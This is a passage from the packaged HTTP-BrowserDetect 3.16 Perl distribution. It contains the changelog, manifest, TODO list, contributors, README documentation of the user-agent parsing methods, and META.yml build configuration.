2009-11-23 - Moved test config to a YAML file - Added language() method - Added iphone() method - Added ipod() method - Added android() method - Fixed RT #12259 (guest) Netscape 6 version detection - Fixed RT #52007 (Josh Ritter) Chrome browser false positives - Added country() method 1.03 2009-10-24 - Added mobile() method with support for various handsets (Richard Noble) - perltidied source 1.02 2009-10-21 - Fixed RT #48727 (Robin Smidsrod) - Made "KHTML, like Gecko" not match gecko - Properly detect Safari version >4.0 1.01 2009-10-20 - Switched to Module::Build from ExtUtils::MakeMaker - Re-organized file structure - Re-organized tests and expanded coverage to check major and minor methods - Manually added patch for Iceweasel from RT #41263 (merlynkline) - Added test for RT #41541 and RT #41263 (merlynkline) - curl added back to list of supported browsers RT #27878 (RT #Toni Cebrián) - Added test for RT #8547 (Steve Purkis) - Added test for RT #30705 (david.hilton.p) - Applied patch and added test for RT #7443 1.00 2009-10-19 - Applied patch from RT #47271 (Denis F. Latypoff), which adds support for Chrome - Have moved repository to GitHub 0.99 2007-02-22 - Modifications by Peter Walsham - Added support for Windows Server 2003 and Windows Vista 0.98 2004-06-21 - Added more browsers including Mozilla, Firefox, Safari - added Mac OS X, WinXP, Win2k detection - added more test cases 0.962 2001-01-31 - changed how minor() method to return minor version as a floating point - added additional browsers - added additional 'up' methods - added detection for mobile devices: wap, avantgo, audrey, etc. - added netscape 6 detection and gecko - added Windows ME detection - updated url to javascript browser sniffer page 0.95 2000-08-04 - added additional browsers 0.94 2000-03-19 - changed copyright notice - changed object's internal structure - added Windows 2000 detection - eliminated AUTOLOAD subroutine 0.92 2000-02-07 - fixed version numbering problem, would return '.' instead of undef if useragent's version couldn't be found - added more detection for AOL 0.9 1999-02-17 - original version; created by h2xs 1.18 HTTP-BrowserDetect-3.16/MANIFEST000644 000765 000024 00000001072 13214533442 016212 0ustar00olafstaff000000 000000 # This file was automatically generated by Dist::Zilla::Plugin::Manifest v6.010. CONTRIBUTORS Changes INSTALL LICENSE MANIFEST MANIFEST.SKIP META.json META.yml Makefile.PL README.md TODO cpanfile dist.ini examples/ua.pl lib/HTTP/BrowserDetect.pm perlcriticrc perltidyrc t/00-report-prereqs.dd t/00-report-prereqs.t t/01-detect.t t/03-language.t t/04-random-order.t t/05_robot.t t/99_blank_ua.t t/add-field.pl t/make-more-useragents.pl t/more-useragents.json t/perlcriticrc t/useragents.json tidyall.ini xt/author/synopsis.t xt/author/tidyall.t xt/release/cpan-changes.t HTTP-BrowserDetect-3.16/t/000755 000765 000024 00000000000 13214533442 015324 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/xt/000755 000765 000024 00000000000 13214533442 015514 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/TODO000644 000765 000024 00000002047 13214533442 015554 0ustar00olafstaff000000 000000 - Test script can be cleaned up quite a lot by using the match/no_match for all boolean tests. (Robin Smidsrød - 2009-10-20) - Consider getting more UA strings from http://www.user-agents.org/. (Robin Smidsrød - 2009-10-20) - Browsers to add: Dolphin, Avant (need user agent examples for both), Cometbird, Chromium, Chromeframe, Crowsnest, Google page speed insights, GSA, wOSbrowser, Deepnet explorer, CrazyBrowser, wkhtmltoimage, Palemoon, Nintendo WIIU, Wordpress, pythonlib (Andrew Moise - 2015-02-26) - Support Kindle Fire tablets (Andrew Moise - 2015-03-23) - Test against other libraries (see http://neilb.org/reviews/user-agent.html) * HTML::ParseBrowser * HTTP::DetectUserAgent * HTTP::Headers::UserAgent (deprecated) * HTTP::MobileAgent (should absorb) * HTTP::UserAgentString::Parser (commercial) * Mobile::UserAgent (maybe should absorb) * Parse::HTTP::UserAgent * Woothee * HTTP::UA::Parser (Andrew Moise - 2015-03-15) - Add "malware" test (Andrew Moise - 2015-03-22) HTTP-BrowserDetect-3.16/CONTRIBUTORS000644 000765 000024 00000001376 13214533442 016750 0ustar00olafstaff000000 000000 # HTTP-BROWSERDETECT CONTRIBUTORS # This is the (likely incomplete) list of people who have helped make this distribution what it is, either via code contributions, patches, bug reports, help with troubleshooting, etc. A huge 'thank you' to all of them. * Andrew Moise * Aran Deltac * ben hengst * cho45 * Daniel Stadie * David Ihnen * Douglas Christopher Wilson * Graham Barr * Hao Wu * joatis * Jon Jensen * ktat * lsaunders * Marco Fontani * Maros Kollar * Nicolas Doye * Olaf Alders * Olivier Bilodeau * Paul Findlay * Perlover * Ramanan Balakrishnan * Robin Smidsrød * Ronald J Kimball * Surikov Alexey * Thom Blake * Uwe * vti * yeahoffline HTTP-BrowserDetect-3.16/README.md000644 000765 000024 00000051125 13214533442 016344 0ustar00olafstaff000000 000000 # NAME HTTP::BrowserDetect - Determine Web browser, version, and platform from an HTTP user agent string # VERSION version 3.16 # SYNOPSIS use HTTP::BrowserDetect; my $user_agent_string = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'; my $ua = HTTP::BrowserDetect->new($user_agent_string); # Print general information print "Browser: $ua->browser_string\n" if $ua->browser_string; print "Version: $ua->browser_version$ua->browser_beta\n" if $ua->browser_version; print "OS: $ua->os_string\n" if $ua->os_string; # Detect operating system if ( $ua->windows ) { if ( $ua->winnt ) { # do something } if ( $ua->win95 ) { # do something } } print "Mac\n" if $ua->macosx; # Detect browser vendor and version print "Safari\n" if $ua->safari; print "MSIE\n" if $ua->ie; print "Mobile\n" if $ua->mobile; if ( $ua->browser_major(4) ) { if ( $ua->browser_minor() > .5 ) { # ...; } } if ( $ua->browser_version() > 4.5 ) { # ...; } # DESCRIPTION The HTTP::BrowserDetect object does a number of tests on an HTTP user agent string. The results of these tests are available via methods of the object. For an online demonstration of this module's parsing, you can check out [http://www.browserdetect.org/](http://www.browserdetect.org/) This module was originally based upon the JavaScript browser detection code available at [http://www.mozilla.org/docs/web-developer/sniffer/browser\_type.html](http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html). # CONSTRUCTOR AND STARTUP ## new() HTTP::BrowserDetect->new( $user_agent_string ) The constructor may be called with a user agent string specified. Otherwise, it will use the value specified by $ENV{'HTTP\_USER\_AGENT'}, which is set by the web server when calling a CGI script. # SUBROUTINES/METHODS # Browser Information ## browser() Returns the browser, as one of the following values: chrome, firefox, ie, opera, safari, adm, applecoremedia, blackberry, brave, browsex, dalvik, elinks, links, lynx, emacs, epiphany, galeon, konqueror, icab, lotusnotes, mosaic, mozilla, netfront, netscape, n3ds, dsi, obigo, polaris, pubsub, realplayer, seamonkey, silk, staroffice, ucbrowser, webtv If the browser could not be identified (either because unrecognized or because it is a robot), returns `undef`. ## browser\_string() Returns a human formatted version of the browser name. These names are subject to change and are meant for display purposes. This may include information additional to what's in browser() (e.g. distinguishing Firefox from Iceweasel). If the user agent could not be identified, or if it was identified as a robot instead, returns `undef`. # Browser Version Please note that that the version(), major() and minor() methods have been deprecated as of release 1.78 of this module. They should be replaced with browser\_version(), browser\_major(), browser\_minor(), and browser\_beta(). The reasoning behind this is that version() method will, in the case of Safari, return the Safari/XXX numbers even when Version/XXX numbers are present in the UserAgent string (i.e. it will return incorrect versions for Safari in some cases). ## browser\_version() Returns the browser version (major and minor) as a string. For example, for Chrome 36.0.1985.67, this returns "36.0". ## browser\_major() Returns the major part of the version as a string. For example, for Chrome 36.0.1985.67, this returns "36". Returns undef if no version information can be detected. ## browser\_minor() Returns the minor part of the version as a string. This includes the decimal point; for example, for Chrome 36.0.1985.67, this returns ".0". Returns undef if no version information can be detected. ## browser\_beta() Returns any part of the version after the major and minor version, as a string. For example, for Chrome 36.0.1985.67, this returns ".1985.67". The beta part of the string can contain any type of alphanumeric characters. Returns undef if no version information can be detected. Returns an empty string if version information is detected but it contains only a major and minor version with nothing following. # Operating System ## os() Returns one of the following strings, or `undef`: windows, winphone, mac, macosx, linux, android, ios, os2, unix, vms, chromeos, firefoxos, ps3, psp, rimtabletos, blackberry, amiga, brew ## os\_string() Returns a human formatted version of the OS name. These names are subject to change and are really meant for display purposes. This may include information additional to what's in os() (e.g. distinguishing various editions of Windows from one another) (although for a way to do that that's more suitable for use in program logic, see below under "OS related properties"). Returns `undef` if no OS information could be detected. ## os\_version(), os\_major(), os\_minor(), os\_beta() Returns version information for the OS, if any could be detected. The format is the same as for the browser\_version() functions. # Mobile Devices ## mobile() Returns true if the browser appears to belong to a mobile phone or similar device (i.e. one small enough that the mobile version of a page is probably preferable over the desktop version). In previous versions, tablet devices sometimes had mobile() return true. They are now mutually exclusive. ## tablet() Returns true if the browser appears to belong to a tablet device. ## device() Returns the type of mobile / tablet hardware, if it can be detected. Currently returns one of: android, audrey, avantgo, blackberry, dsi, iopener, ipad, iphone, ipod, kindle, n3ds, palm, ps3, psp, wap, webos, winphone. Returns `undef` if this is not a tablet/mobile device or no hardware information can be detected. ## device\_string() Returns a human formatted version of the hardware device name. These names are subject to change and are really meant for display purposes. You should use the device() method in your logic. This may include additional information (such as the model of phone if it is detectable). Returns `undef` if this is not a portable device or if no device name can be detected. # Robots ## robot() If the user agent appears to be a robot, spider, crawler, or other automated Web client, this returns one of the following values: lwp, slurp, yahoo, bingbot, msnmobile, msn, msoffice, ahrefs, altavista, apache, askjeeves, baidu, curl, facebook, getright, googleadsbot, googleadsense, googlebotimage, googlebotnews, googlebotvideo, googlefavicon, googlemobile, google, golib, indy, infoseek, ipsagent, linkchecker, linkexchange, lycos, malware, mj12bot, nutch, phplib, puf, rubylib, scooter, specialarchiver, wget, yandexbot, yandeximages, java, unknown Returns "unknown" when the user agent is believed to be a robot but is not identified as one of the above specific robots. Returns `undef` if the user agent is not a robot or cannot be identified. Note that if a robot crafts a user agent designed to impersonate a particular browser, we generally set properties appropriate to both the actual robot, and the browser it is impersonating. For example, googlebot-mobile pretends to be mobile safari so that it will get mobile versions of pages. In this case, browser() will return 'safari', the properties will generally be set as if for Mobile Safari, the 'robot' property will be set, and robot() will return 'googlemobile'. ### lib() Returns true if the user agent appears to be an HTTP library or tool (e.g. LWP, curl, wget, java). Generally libraries are also classified as robots, although it is impossible to tell whether they are being operated by an automated system or a human. ### robot\_string() Returns a human formatted version of the robot name. These names are subject to change and are meant for display purposes. This may include additional information (e.g. robots which return "unknown" from robot() generally can be identified in a human-readable fashion by reading robot\_string() ). ### robot\_id() This method is currently in beta. Returns an id consisting of lower case letters, numbers and dashes. This id will remain constant, so you can use it for matching against a particular robot. The ids were introduced in version 3.14. There may still be a few corrections to ids in subsequent releases. Once this method becomes stable the ids will also be frozen. ### all\_robot\_ids() This method returns an c of all possible `robot_id` values. ## robot\_version(), robot\_major(), robot\_minor(), robot\_beta() Returns version information for the robot, if any could be detected. The format is the same as for the browser\_version() functions. Note that if a robot crafts a user agent designed to impersonate a particular browser, we generally return results appropriate to both the actual robot, and the browser it is impersonating. For example, googlebot-mobile pretends to be mobile safari so that it will get mobile versions of pages. In this case, robot\_version() will return the version of googlebot-mobile, and browser\_version() will return the version of Safari that googlebot-mobile is impersonating. # Browser Properties Operating systems, devices, browser names, rendering engines, and true-or-false methods (e.g. "mobile" and "lib") are all browser properties. For example, calling browser\_properties() for Mobile Safari running on an Android will return this list: ('android', 'device', 'mobile', 'mobile\_safari', 'safari', 'webkit') ## browser\_properties() Returns all properties for this user agent, as a list. Note that because a large number of cases must be considered, this will take significantly more time than simply querying the particular methods you care about. A mostly complete list of properties follows (i.e. each of these methods is both a method you can call, and also a property that may be in the list returned by browser\_properties() ). In addition to this list, robot(), lib(), device(), mobile(), and tablet() are all browser properties. ## OS related properties The following methods are available, each returning a true or false value. Some methods also test for the operating system version. The indentations below show the hierarchy of tests (for example, win2k is considered a type of winnt, which is a type of win32) ### windows() win16 win3x win31 win32 winme win95 win98 winnt win2k winxp win2k3 winvista win7 win8 win8_0 win8_1 win10 win10_0 wince winphone winphone7 winphone7_5 winphone8 winphone10 ### dotnet() ### chromeos() ### firefoxos() ### mac() mac68k macppc macosx ios ### os2() ### bb10() ### rimtabletos() ### unix() sun sun4 sun5 suni86 irix irix5 irix6 hpux hpux9 hpux10 aix aix1 aix2 aix3 aix4 linux sco unixware mpras reliant dec sinix freebsd bsd ### vms() ### amiga() ### ps3gameos() ### pspgameos() It may not be possibile to detect Win98 in Netscape 4.x and earlier. On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all Win32, so you can't distinguish between Win95 and WinNT. ## Browser related properties The following methods are available, each returning a true or false value. Some methods also test for the browser version, saving you from checking the version separately. ### adm ### aol aol3 aol4 aol5 aol6 ### applecoremedia ### avantgo ### browsex ### chrome ### dalvik ### emacs ### epiphany ### firefox ### galeon ### icab ### ie ie3 ie4 ie4up ie5 ie5up ie55 ie55up ie6 ie7 ie8 ie9 ie10 ie11 ### ie\_compat\_mode The ie\_compat\_mode is used to determine if the IE user agent is for the compatibility mode view, in which case the real version of IE is higher than that detected. The true version of IE can be inferred from the version of Trident in the engine\_version method. ### konqueror ### lotusnotes ### lynx links elinks ### mobile\_safari ### mosaic ### mozilla ### neoplanet neoplanet2 ### netfront ### netscape nav2 nav3 nav4 nav4up nav45 nav45up navgold nav6 nav6up ### obigo ### opera opera3 opera4 opera5 opera6 opera7 ### polaris ### pubsub ### realplayer The realplayer method above tests for the presence of either the RealPlayer plug-in "(r1 " or the browser "RealPlayer". ### realplayer\_browser The realplayer\_browser method tests for the presence of the RealPlayer browser (but returns 0 for the plugin). ### safari ### seamonkey ### silk ### staroffice ### ucbrowser ### webtv Netscape 6, even though it's called six, in the User-Agent string has version number 5. The nav6 and nav6up methods correctly handle this quirk. The Firefox test correctly detects the older-named versions of the browser (Phoenix, Firebird). ## Device related properties The following methods are available, each returning a true or false value. ### android ### audrey ### avantgo ### blackberry ### dsi ### iopener ### iphone ### ipod ### ipad ### kindle ### kindlefire ### n3ds ### palm ### webos ### wap Note that 'wap' indicates that the device is capable of WAP, not necessarily that the device is limited to WAP only. Most modern WAP devices are also capable of rendering standard HTML. ### psp ### ps3 ## Robot properties These methods are now deprecated and will be removed in a future release. Please use the `robot()` and `robot_id()` methods to identify the bots. Use `robot_id()` if you need to match on a string, since the value that is returned by `robot` could possibly change in a future release. The following additional methods are available, each returning a true or false value. This is by no means a complete list of robots that exist on the Web. ### ahrefs ### altavista ### apache ### askjeeves ### baidu ### bingbot ### curl ### facebook ### getright ### golib ### google ### googleadsbot ### googleadsense ### googlemobile ### indy ### infoseek ### ipsagent ### java ### linkexchange ### lwp ### lycos ### malware ### mj12bot ### msn ### msoffice ### puf ### rubylib ### slurp ### wget ### yahoo ### yandex ### yandeximages ## Engine properties The following properties indicate if a particular rendering engine is being used. ### webkit ### gecko ### trident ### presto ### khtml # Other methods ## user\_agent() Returns the value of the user agent string. Calling this method with a parameter to set the user agent has now been removed; please use HTTP::BrowserDetect->new() to pass the user agent string. ## country() Returns the country string as it may be found in the user agent string. This will be in the form of an upper case 2 character code. ie: US, DE, etc ## language() Returns the language string as it is found in the user agent string. This will be in the form of an upper case 2 character code. ie: EN, DE, etc ## engine() Returns the rendering engine, one of the following: gecko, webkit, khtml, trident, ie, presto, netfront Note that this returns "webkit" for webkit based browsers (including Chrome/Blink). This is a change from previous versions of this library, which returned "KHTML" for webkit. Returns `undef` if none of the above rendering engines can be detected. ## engine\_string() Returns a human formatted version of the rendering engine. Note that this returns "WebKit" for webkit based browsers (including Chrome/Blink). This is a change from previous versions of this library, which returned "KHTML" for webkit. Returns `undef` if none of the known rendering engines can be detected. ## engine\_version(), engine\_major(), engine\_minor(), engine\_beta() Returns version information for the rendering engine, if any could be detected. The format is the same as for the browser\_version() functions. # Deprecated methods ## device\_name() Deprecated alternate name for device\_string() ## version() This is probably not what you want. Please use either browser\_version() or engine\_version() instead. Returns the version (major and minor) as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser\_version() returns correct version numbers for Safari. ## major() This is probably not what you want. Please use either browser\_major() or engine\_major() instead. Returns the integer portion of the browser version as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser\_version() returns correct version numbers for Safari. ## minor() This is probably not what you want. Please use either browser\_minor() or engine\_minor() instead. Returns the decimal portion of the browser version as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser\_version() returns correct version numbers for Safari. ## beta() This is probably not what you want. Please use browser\_beta() instead. Returns the beta version, consisting of any characters after the major and minor version number, as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser\_version() returns correct version numbers for Safari. ## public\_version(), public\_major(), public\_minor(), public\_beta() Deprecated. Please use browser\_version() and related functions instead. ## gecko\_version() If a Gecko rendering engine is used (as in Mozilla or Firefox), returns the engine version. If no Gecko browser is being used, or the version number can't be detected, returns undef. This is an old function, preserved for compatibility; please use engine\_version() in new code. # CREDITS Lee Semel, lee@semel.net (Original Author) Peter Walsham (co-maintainer) Olaf Alders, `olaf at wundercounter.com` (co-maintainer) # ACKNOWLEDGEMENTS Thanks to the following for their contributions: cho45 Leonardo Herrera Denis F. Latypoff merlynkline Simon Waters Toni Cebrin Florian Merges david.hilton.p Steve Purkis Andrew McGregor Robin Smidsrod Richard Noble Josh Ritter Mike Clarke Marc Sebastian Pelzer Alexey Surikov Maros Kollar Jay Rifkin Luke Saunders Jacob Rask Heiko Weber Jon Jensen Jesse Thompson Graham Barr Enrico Sorcinelli Olivier Bilodeau Yoshiki Kurihara Paul Findlay Uwe Voelker Douglas Christopher Wilson John Oatis Atsushi Kato Ronald J. Kimball Bill Rhodes Thom Blake Aran Deltac yeahoffline David Ihnen Hao Wu Perlover Daniel Stadie ben hengst Andrew Moise Atsushi Kato Marco Fontani Nicolas Doye # TO DO POD coverage is not 100%. # SEE ALSO "Browser ID (User-Agent) Strings", [http://www.zytrax.com/tech/web/browser\_ids.htm](http://www.zytrax.com/tech/web/browser_ids.htm) [HTML::ParseBrowser](https://metacpan.org/pod/HTML::ParseBrowser). # # SUPPORT You can find documentation for this module with the perldoc command. perldoc HTTP::BrowserDetect You can also look for information at: - GitHub Source Repository [http://github.com/oalders/http-browserdetect](http://github.com/oalders/http-browserdetect) - Reporting Issues [https://github.com/oalders/http-browserdetect/issues](https://github.com/oalders/http-browserdetect/issues) - AnnoCPAN: Annotated CPAN documentation [http://annocpan.org/dist/HTTP-BrowserDetect](http://annocpan.org/dist/HTTP-BrowserDetect) - CPAN Ratings [http://cpanratings.perl.org/d/HTTP-BrowserDetect](http://cpanratings.perl.org/d/HTTP-BrowserDetect) - Search CPAN [https://metacpan.org/module/HTTP::BrowserDetect](https://metacpan.org/module/HTTP::BrowserDetect) # BUGS AND LIMITATIONS The biggest limitation at this point is the test suite, which really needs to have many more UserAgent strings to test against. # CONTRIBUTING Patches are certainly welcome, with many thanks for the excellent contributions which have already been received. The preferred method of patching would be to fork the GitHub repo and then send me a pull request, but plain old patch files are also welcome. If you're able to add test cases, this will speed up the time to release your changes. Just edit t/useragents.json so that the test coverage includes any changes you have made. Please contact me if you have any questions. This distribution uses [Dist::Zilla](https://metacpan.org/pod/Dist::Zilla). If you're not familiar with this module, please see [https://github.com/oalders/http-browserdetect/issues/5](https://github.com/oalders/http-browserdetect/issues/5) for some helpful tips to get you started. # AUTHORS - Lee Semel - Peter Walsham - Olaf Alders (current maintainer) # COPYRIGHT AND LICENSE This software is copyright (c) 2017 by Lee Semel. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. HTTP-BrowserDetect-3.16/MANIFEST.SKIP000644 000765 000024 00000000233 13214533442 016755 0ustar00olafstaff000000 000000 .travis.yml t/perlcriticrc t/pod_coverage.t t/02-critic.t MANIFEST.SKIP README.pod README.txt http-browserdetect.kpf blib http-browserdetect.komodoproject HTTP-BrowserDetect-3.16/examples/000755 000765 000024 00000000000 13214533442 016677 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/META.yml000644 000765 000024 00000040034 13214533442 016333 0ustar00olafstaff000000 000000 --- abstract: 'Determine Web browser, version, and platform from an HTTP user agent string' author: - 'Lee Semel ' - 'Peter Walsham' - 'Olaf Alders (current maintainer)' build_requires: ExtUtils::MakeMaker: '0' File::Spec: '0' FindBin: '0' JSON::PP: '0' List::Util: '1.49' Path::Tiny: '0' Test::FailWarnings: '0' Test::More: '0' Test::Most: '0' Test::NoWarnings: '0' configure_requires: ExtUtils::MakeMaker: '0' dynamic_config: 0 generated_by: 'Dist::Zilla version 6.010, CPAN::Meta::Converter version 2.150010' license: perl meta-spec: url: http://module-build.sourceforge.net/META-spec-v1.4.html version: '1.4' name: HTTP-BrowserDetect no_index: directory: - examples - t - xt requires: perl: '5.006' strict: '0' vars: '0' warnings: '0' resources: bugtracker: https://github.com/oalders/http-browserdetect/issues homepage: https://github.com/oalders/http-browserdetect repository: https://github.com/oalders/http-browserdetect.git version: '3.16' x_Dist_Zilla: perl: version: '5.026000' plugins: - class: Dist::Zilla::Plugin::PromptIfStale config: Dist::Zilla::Plugin::PromptIfStale: check_all_plugins: 0 check_all_prereqs: 0 modules: - Dist::Zilla::PluginBundle::Author::OALDERS phase: build run_under_travis: 0 skip: [] name: '@Author::OALDERS/stale modules, build' version: '0.054' - class: Dist::Zilla::Plugin::PromptIfStale config: Dist::Zilla::Plugin::PromptIfStale: check_all_plugins: 1 check_all_prereqs: 1 modules: [] phase: release run_under_travis: 0 skip: [] name: '@Author::OALDERS/stale modules, release' version: '0.054' - class: Dist::Zilla::Plugin::MAXMIND::TidyAll name: '@Author::OALDERS/MAXMIND::TidyAll' version: '0.82' - class: Dist::Zilla::Plugin::AutoPrereqs name: '@Author::OALDERS/AutoPrereqs' version: '6.010' - class: Dist::Zilla::Plugin::CheckChangesHasContent name: '@Author::OALDERS/CheckChangesHasContent' version: '0.011' - class: Dist::Zilla::Plugin::MakeMaker config: Dist::Zilla::Role::TestRunner: default_jobs: 1 name: '@Author::OALDERS/MakeMaker' version: '6.010' - class: Dist::Zilla::Plugin::CPANFile name: '@Author::OALDERS/CPANFile' version: '6.010' - class: Dist::Zilla::Plugin::ContributorsFile name: '@Author::OALDERS/ContributorsFile' version: 0.3.0 - class: Dist::Zilla::Plugin::MetaJSON name: '@Author::OALDERS/MetaJSON' version: '6.010' - class: Dist::Zilla::Plugin::MetaYAML name: '@Author::OALDERS/MetaYAML' version: '6.010' - class: Dist::Zilla::Plugin::Manifest name: '@Author::OALDERS/Manifest' version: '6.010' - class: Dist::Zilla::Plugin::MetaNoIndex name: '@Author::OALDERS/MetaNoIndex' version: '6.010' - class: Dist::Zilla::Plugin::MetaConfig name: '@Author::OALDERS/MetaConfig' version: '6.010' - class: Dist::Zilla::Plugin::MetaResources name: '@Author::OALDERS/MetaResources' version: '6.010' - class: Dist::Zilla::Plugin::License name: '@Author::OALDERS/License' version: '6.010' - class: Dist::Zilla::Plugin::InstallGuide name: '@Author::OALDERS/InstallGuide' version: '1.200007' - class: Dist::Zilla::Plugin::Prereqs config: Dist::Zilla::Plugin::Prereqs: phase: runtime type: requires name: '@Author::OALDERS/Prereqs' version: '6.010' - class: Dist::Zilla::Plugin::ExecDir name: '@Author::OALDERS/ExecDir' version: '6.010' - class: Dist::Zilla::Plugin::Test::CPAN::Changes config: Dist::Zilla::Plugin::Test::CPAN::Changes: changelog: Changes name: '@Author::OALDERS/Test::CPAN::Changes' version: '0.012' - class: Dist::Zilla::Plugin::TestRelease name: '@Author::OALDERS/TestRelease' version: '6.010' - class: Dist::Zilla::Plugin::Test::ReportPrereqs name: '@Author::OALDERS/Test::ReportPrereqs' version: '0.027' - class: Dist::Zilla::Plugin::Test::Synopsis name: '@Author::OALDERS/Test::Synopsis' version: '2.000007' - class: Dist::Zilla::Plugin::Test::TidyAll name: '@Author::OALDERS/Test::TidyAll' version: '0.04' - class: Dist::Zilla::Plugin::RunExtraTests config: Dist::Zilla::Role::TestRunner: default_jobs: 1 name: '@Author::OALDERS/RunExtraTests' version: '0.029' - class: Dist::Zilla::Plugin::PodWeaver config: Dist::Zilla::Plugin::PodWeaver: finder: - ':InstallModules' - ':ExecFiles' plugins: - class: Pod::Weaver::Plugin::EnsurePod5 name: '@CorePrep/EnsurePod5' version: '4.015' - class: Pod::Weaver::Plugin::H1Nester name: '@CorePrep/H1Nester' version: '4.015' - class: Pod::Weaver::Plugin::SingleEncoding name: '@Default/SingleEncoding' version: '4.015' - class: Pod::Weaver::Section::Name name: '@Default/Name' version: '4.015' - class: Pod::Weaver::Section::Version name: '@Default/Version' version: '4.015' - class: Pod::Weaver::Section::Region name: '@Default/prelude' version: '4.015' - class: Pod::Weaver::Section::Generic name: SYNOPSIS version: '4.015' - class: Pod::Weaver::Section::Generic name: DESCRIPTION version: '4.015' - class: Pod::Weaver::Section::Generic name: OVERVIEW version: '4.015' - class: Pod::Weaver::Section::Collect name: ATTRIBUTES version: '4.015' - class: Pod::Weaver::Section::Collect name: METHODS version: '4.015' - class: Pod::Weaver::Section::Collect name: FUNCTIONS version: '4.015' - class: Pod::Weaver::Section::Leftovers name: '@Default/Leftovers' version: '4.015' - class: Pod::Weaver::Section::Region name: '@Default/postlude' version: '4.015' - class: Pod::Weaver::Section::Authors name: '@Default/Authors' version: '4.015' - class: Pod::Weaver::Section::Legal name: '@Default/Legal' version: '4.015' name: '@Author::OALDERS/PodWeaver' version: '4.008' - class: Dist::Zilla::Plugin::PruneCruft name: '@Author::OALDERS/PruneCruft' version: '6.010' - class: Dist::Zilla::Plugin::CopyFilesFromBuild name: '@Author::OALDERS/CopyFilesFromBuild' version: '0.170880' - class: Dist::Zilla::Plugin::GithubMeta name: '@Author::OALDERS/GithubMeta' version: '0.54' - class: Dist::Zilla::Plugin::Git::GatherDir config: Dist::Zilla::Plugin::GatherDir: exclude_filename: - Install - LICENSE - META.json - Makefile.PL - README.md - cpanfile exclude_match: [] follow_symlinks: 0 include_dotfiles: 0 prefix: '' prune_directory: [] root: . Dist::Zilla::Plugin::Git::GatherDir: include_untracked: 0 name: '@Author::OALDERS/Git::GatherDir' version: '2.043' - class: Dist::Zilla::Plugin::CopyFilesFromRelease config: Dist::Zilla::Plugin::CopyFilesFromRelease: filename: - Install match: [] name: '@Author::OALDERS/CopyFilesFromRelease' version: '0.006' - class: Dist::Zilla::Plugin::Git::Check config: Dist::Zilla::Plugin::Git::Check: untracked_files: die Dist::Zilla::Role::Git::DirtyFiles: allow_dirty: - Changes - Install - LICENSE - META.json - Makefile.PL - README.md - cpanfile - dist.ini allow_dirty_match: [] changelog: Changes Dist::Zilla::Role::Git::Repo: git_version: 2.15.1 repo_root: . name: '@Author::OALDERS/Git::Check' version: '2.043' - class: Dist::Zilla::Plugin::Git::Contributors config: Dist::Zilla::Plugin::Git::Contributors: git_version: 2.15.1 include_authors: 0 include_releaser: 1 order_by: name paths: [] name: '@Author::OALDERS/Git::Contributors' version: '0.032' - class: Dist::Zilla::Plugin::ReadmeAnyFromPod config: Dist::Zilla::Role::FileWatcher: version: '0.006' name: '@Author::OALDERS/ReadmeMdInBuild' version: '0.163250' - class: Dist::Zilla::Plugin::ShareDir name: '@Author::OALDERS/ShareDir' version: '6.010' - class: Dist::Zilla::Plugin::TravisCI::StatusBadge name: '@Author::OALDERS/TravisCI::StatusBadge' version: '0.007' - class: Dist::Zilla::Plugin::ConfirmRelease name: '@Author::OALDERS/ConfirmRelease' version: '6.010' - class: Dist::Zilla::Plugin::UploadToCPAN name: '@Author::OALDERS/UploadToCPAN' version: '6.010' - class: Dist::Zilla::Plugin::RewriteVersion::Transitional config: Dist::Zilla::Plugin::RewriteVersion: add_tarball_name: 0 finders: - ':ExecFiles' - ':InstallModules' global: 0 skip_version_provider: 0 Dist::Zilla::Plugin::RewriteVersion::Transitional: {} name: '@Author::OALDERS/@Git::VersionManager/RewriteVersion::Transitional' version: '0.008' - class: Dist::Zilla::Plugin::MetaProvides::Update name: '@Author::OALDERS/@Git::VersionManager/MetaProvides::Update' version: '0.003' - class: Dist::Zilla::Plugin::CopyFilesFromRelease config: Dist::Zilla::Plugin::CopyFilesFromRelease: filename: - Changes match: [] name: '@Author::OALDERS/@Git::VersionManager/CopyFilesFromRelease' version: '0.006' - class: Dist::Zilla::Plugin::Git::Commit config: Dist::Zilla::Plugin::Git::Commit: add_files_in: [] commit_msg: v%v%n%n%c Dist::Zilla::Role::Git::DirtyFiles: allow_dirty: - Changes - Install - LICENSE - META.json - Makefile.PL - README.md - cpanfile - dist.ini allow_dirty_match: [] changelog: Changes Dist::Zilla::Role::Git::Repo: git_version: 2.15.1 repo_root: . Dist::Zilla::Role::Git::StringFormatter: time_zone: local name: '@Author::OALDERS/@Git::VersionManager/release snapshot' version: '2.043' - class: Dist::Zilla::Plugin::Git::Tag config: Dist::Zilla::Plugin::Git::Tag: branch: ~ changelog: Changes signed: 0 tag: v3.16 tag_format: v%v tag_message: v%v Dist::Zilla::Role::Git::Repo: git_version: 2.15.1 repo_root: . Dist::Zilla::Role::Git::StringFormatter: time_zone: local name: '@Author::OALDERS/@Git::VersionManager/Git::Tag' version: '2.043' - class: Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional config: Dist::Zilla::Plugin::BumpVersionAfterRelease: finders: - ':ExecFiles' - ':InstallModules' global: 0 munge_makefile_pl: 1 Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional: {} name: '@Author::OALDERS/@Git::VersionManager/BumpVersionAfterRelease::Transitional' version: '0.008' - class: Dist::Zilla::Plugin::NextRelease name: '@Author::OALDERS/@Git::VersionManager/NextRelease' version: '6.010' - class: Dist::Zilla::Plugin::Git::Commit config: Dist::Zilla::Plugin::Git::Commit: add_files_in: [] commit_msg: 'increment $VERSION after %v release' Dist::Zilla::Role::Git::DirtyFiles: allow_dirty: - Build.PL - Changes - Makefile.PL allow_dirty_match: - (?^:^lib/.*\.pm$) changelog: Changes Dist::Zilla::Role::Git::Repo: git_version: 2.15.1 repo_root: . Dist::Zilla::Role::Git::StringFormatter: time_zone: local name: 